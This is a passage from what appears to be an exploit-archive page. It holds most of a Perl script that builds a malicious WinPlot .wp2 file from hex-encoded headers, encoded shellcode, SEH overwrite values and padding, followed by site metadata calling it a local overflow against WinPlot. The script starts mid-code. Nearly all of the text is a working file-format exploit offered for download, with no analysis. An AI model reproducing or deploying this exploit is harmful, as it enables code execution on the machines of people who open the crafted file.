\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x24\\\".
\\\"\\\\x00\\\\x24\\\\x00\\\\x24\\\\x00\\\\x96\\\\x00\\\\x96\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\".
\\\"\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\xff\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xb8\\\".
\\\"\\\\x1c\\\\x8e\\\\x2d\\\\x54\\\\xde\\\\x73\\\\x9e\\\\xf9\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x18\\\\x00\\\\x01\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x30\\\\x75\\\\xaf\\\\x00\\\\x34\\\\x76\\\\xaf\\\\x00\\\\x38\\\\x77\\\\xaf\\\\x00\\\\x3c\\\".
\\\"\\\\x78\\\\xaf\\\\x00\\\\x40\\\\x79\\\\xaf\\\\x00\\\\x44\\\\x7a\\\\xaf\\\\x00\\\\x48\\\\x7b\\\\xaf\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\".
\\\"\\\\xa7\\\\xaf\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x54\\\\x8e\\\\xaf\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x5c\\\\x90\\\\xaf\\\\x00\\\\x74\\\\xa3\\\\xaf\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x80\\\\x97\\\\xcd\\\\xaa\\\\x1f\\\\xf8\\\\xae\\\\xe6\\\\x00\\\\x40\\\\x4c\\\".
\\\"\\\\x8d\\\\x4e\\\\xf3\\\\x22\\\\x84\\\\x33\\\\xb8\\\\xfb\\\\x3f\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xcc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x0c\\\\xe8\\\\xd1\\\\x19\\\\x4f\\\\xc1\\\\x05\\\\xc9\\\\x00\\\\x40\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x18\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x0d\\\\x00\\\\x04\\\\x00\\\\xff\\\\xff\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x0b\\\\x00\\\";

$header2 =
\\\"\\\\x00\\\\x01\\\\x00\\\\x00\\\\x09\\\\x00\\\\x78\\\\x78\\\".
\\\"\\\\x2b\\\\x79\\\\x79\\\\x3d\\\\x31\\\\x33\\\\x00\\\\x01\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x49\\\\x54\\\".
\\\"\\\\x00\\\\x10\\\\x49\\\\x54\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x02\\\\x00\\\\x78\\\\x00\\\\x02\\\\x00\\\\x79\\\\x00\\\\x02\\\\x00\\\\x7a\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\".
\\\"\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\".
\\\"\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\".
\\\"\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\".
\\\"\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x9b\\\\x4a\\\".
\\\"\\\\xbb\\\\xa2\\\\x58\\\\x54\\\\xf8\\\\xad\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x80\\\\x97\\\\xcd\\\\xaa\\\".
\\\"\\\\x1f\\\\xf8\\\\xae\\\\xe6\\\\x00\\\\x40\\\\x4c\\\\x8d\\\\x4e\\\\xf3\\\\x22\\\\x84\\\\x33\\\\xb8\\\\xfb\\\\x3f\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\".
\\\"\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\".
\\\"\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\".
\\\"\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x02\\\\x40\\\\xb0\\\\x8e\\\\xaa\\\\x00\\\\x0c\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf0\\\\xf4\\\\x12\\\\x00\\\\x40\\\\xb0\\\\x8e\\\\xaa\\\\x00\\\\x0c\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf0\\\\xf4\\\\x12\\\\x00\\\\x40\\\\xb0\\\\x8e\\\\xaa\\\\x00\\\\x0c\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xf0\\\\xf4\\\\x12\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x78\\\\x78\\\\x2b\\\\x79\\\\x79\\\\x3d\\\\x31\\\\x33\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x7d\\\\x59\\\\x00\\\\x00\\\\x10\\\\x49\\\\x54\\\\x00\\\\x10\\\\x49\\\\x54\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\xbf\\\\x00\\\\x3f\\\\x00\\\\xaa\\\\x55\\\\x77\\\\x03\\\\x65\\\\xa4\\\\x24\\\\x9e\\\\x01\\\".
\\\"\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xa0\\\\x01\\\\x40\\\\x66\\\\x33\\\\x44\\\\xe9\\\\x5c\\\".
\\\"\\\\x36\\\\x43\\\\x94\\\\x01\\\\xc0\\\\x10\\\\x89\\\\xbb\\\\xec\\\\xc1\\\\xda\\\\x67\\\\x92\\\\x01\\\\x40\\\\xf3\\\".
\\\"\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x90\\\".
\\\"\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x08\\\\x02\\\\x01\\\\x31\\\\x43\\\\x6f\\\\x75\\\\x72\\\\x69\\\".
\\\"\\\\x65\\\\x72\\\\x20\\\\x4e\\\\x65\\\\x77\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\".
\\\"\\\\x00\\\\xfe\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\";

$shellcode = 
\\\"\\\\xeb\\\\x03\\\\x59\\\\xeb\\\\x05\\\\xe8\\\\xf8\\\\xff\\\\xff\\\\xff\\\\x4f\\\\x49\\\\x49\\\\x49\\\\x49\\\\x49\\\".
\\\"\\\\x49\\\\x51\\\\x5a\\\\x56\\\\x54\\\\x58\\\\x36\\\\x33\\\\x30\\\\x56\\\\x58\\\\x34\\\\x41\\\\x30\\\\x42\\\\x36\\\".
\\\"\\\\x48\\\\x48\\\\x30\\\\x42\\\\x33\\\\x30\\\\x42\\\\x43\\\\x56\\\\x58\\\\x32\\\\x42\\\\x44\\\\x42\\\\x48\\\\x34\\\".
\\\"\\\\x41\\\\x32\\\\x41\\\\x44\\\\x30\\\\x41\\\\x44\\\\x54\\\\x42\\\\x44\\\\x51\\\\x42\\\\x30\\\\x41\\\\x44\\\\x41\\\".
\\\"\\\\x56\\\\x58\\\\x34\\\\x5a\\\\x38\\\\x42\\\\x44\\\\x4a\\\\x4f\\\\x4d\\\\x4e\\\\x4f\\\\x4a\\\\x4e\\\\x46\\\\x54\\\".
\\\"\\\\x42\\\\x50\\\\x42\\\\x50\\\\x42\\\\x30\\\\x4b\\\\x38\\\\x45\\\\x44\\\\x4e\\\\x43\\\\x4b\\\\x58\\\\x4e\\\\x57\\\".
\\\"\\\\x45\\\\x50\\\\x4a\\\\x37\\\\x41\\\\x50\\\\x4f\\\\x4e\\\\x4b\\\\x38\\\\x4f\\\\x44\\\\x4a\\\\x31\\\\x4b\\\\x38\\\".
\\\"\\\\x4f\\\\x55\\\\x42\\\\x32\\\\x41\\\\x30\\\\x4b\\\\x4e\\\\x49\\\\x34\\\\x4b\\\\x58\\\\x46\\\\x43\\\\x4b\\\\x58\\\".
\\\"\\\\x41\\\\x50\\\\x50\\\\x4e\\\\x41\\\\x53\\\\x42\\\\x4c\\\\x49\\\\x49\\\\x4e\\\\x4a\\\\x46\\\\x38\\\\x42\\\\x4c\\\".
\\\"\\\\x46\\\\x47\\\\x47\\\\x30\\\\x41\\\\x4c\\\\x4c\\\\x4c\\\\x4d\\\\x50\\\\x41\\\\x30\\\\x44\\\\x4c\\\\x4b\\\\x4e\\\".
\\\"\\\\x46\\\\x4f\\\\x4b\\\\x43\\\\x46\\\\x55\\\\x46\\\\x52\\\\x46\\\\x50\\\\x45\\\\x47\\\\x45\\\\x4e\\\\x4b\\\\x58\\\".
\\\"\\\\x4f\\\\x35\\\\x46\\\\x42\\\\x41\\\\x50\\\\x4b\\\\x4e\\\\x48\\\\x36\\\\x4b\\\\x58\\\\x4e\\\\x30\\\\x4b\\\\x34\\\".
\\\"\\\\x4b\\\\x48\\\\x4f\\\\x35\\\\x4e\\\\x51\\\\x41\\\\x30\\\\x4b\\\\x4e\\\\x4b\\\\x38\\\\x4e\\\\x31\\\\x4b\\\\x48\\\".
\\\"\\\\x41\\\\x30\\\\x4b\\\\x4e\\\\x49\\\\x38\\\\x4e\\\\x35\\\\x46\\\\x32\\\\x46\\\\x50\\\\x43\\\\x4c\\\\x41\\\\x33\\\".
\\\"\\\\x42\\\\x4c\\\\x46\\\\x36\\\\x4b\\\\x48\\\\x42\\\\x54\\\\x42\\\\x33\\\\x45\\\\x38\\\\x42\\\\x4c\\\\x4a\\\\x57\\\".
\\\"\\\\x4e\\\\x50\\\\x4b\\\\x48\\\\x42\\\\x54\\\\x4e\\\\x30\\\\x4b\\\\x38\\\\x42\\\\x57\\\\x4e\\\\x41\\\\x4d\\\\x4a\\\".
\\\"\\\\x4b\\\\x48\\\\x4a\\\\x46\\\\x4a\\\\x30\\\\x4b\\\\x4e\\\\x49\\\\x50\\\\x4b\\\\x58\\\\x42\\\\x48\\\\x42\\\\x4b\\\".
\\\"\\\\x42\\\\x50\\\\x42\\\\x30\\\\x42\\\\x30\\\\x4b\\\\x38\\\\x4a\\\\x36\\\\x4e\\\\x53\\\\x4f\\\\x35\\\\x41\\\\x43\\\".
\\\"\\\\x48\\\\x4f\\\\x42\\\\x46\\\\x48\\\\x55\\\\x49\\\\x48\\\\x4a\\\\x4f\\\\x43\\\\x58\\\\x42\\\\x4c\\\\x4b\\\\x57\\\".
\\\"\\\\x42\\\\x35\\\\x4a\\\\x36\\\\x42\\\\x4f\\\\x4c\\\\x58\\\\x46\\\\x50\\\\x4f\\\\x55\\\\x4a\\\\x46\\\\x4a\\\\x49\\\".
\\\"\\\\x50\\\\x4f\\\\x4c\\\\x58\\\\x50\\\\x50\\\\x47\\\\x35\\\\x4f\\\\x4f\\\\x47\\\\x4e\\\\x43\\\\x46\\\\x41\\\\x46\\\".
\\\"\\\\x4e\\\\x46\\\\x43\\\\x36\\\\x42\\\\x30\\\\x5a\\\";

$seh = \\\"\\\\xe8\\\\x4e\\\\xf6\\\\xff\\\\xff\\\";
$neh = \\\"\\\\x4d\\\\x23\\\\x50\\\\x00\\\";
$junk = \\\"\\\\x41\\\" x 2309;
$junk2 = \\\"\\\\x42\\\" x (2327-length($shellcode));
 
$buffer = $header1.$junk.$shellcode.$junk2.$neh.$seh.$header2;
print \\\"crafted file: winplotxpl.wp2\\\\n\\\";

open (FILE, \\\">winplotxpl.wp2\\\");
print FILE $buffer;
close(FILE);

Comments

You must be logged in to post comments.

Exploit Information

Type:
Local - Overflow

Vendor:
Exeter

Product:
http://math.exeter.edu/rparris/peanut/wp32z.exe

Versions Effected:
Compiled in 19 sept 2009

Submitted:
2009-09-29 - 06:23:15

Author:
Rick
E-Mail
Website

Greetz:
Hisok4, All my friends

[ Download | Report Issue ]

Exploit Search

Search by Type
+ Remote
+ Local
+ Application/Service
+ Web Application
+ Kernel
+ Operating System
+ Bug
+ Overflow
+ Shellcode
+ DOS
+ Advisory

Advanced Search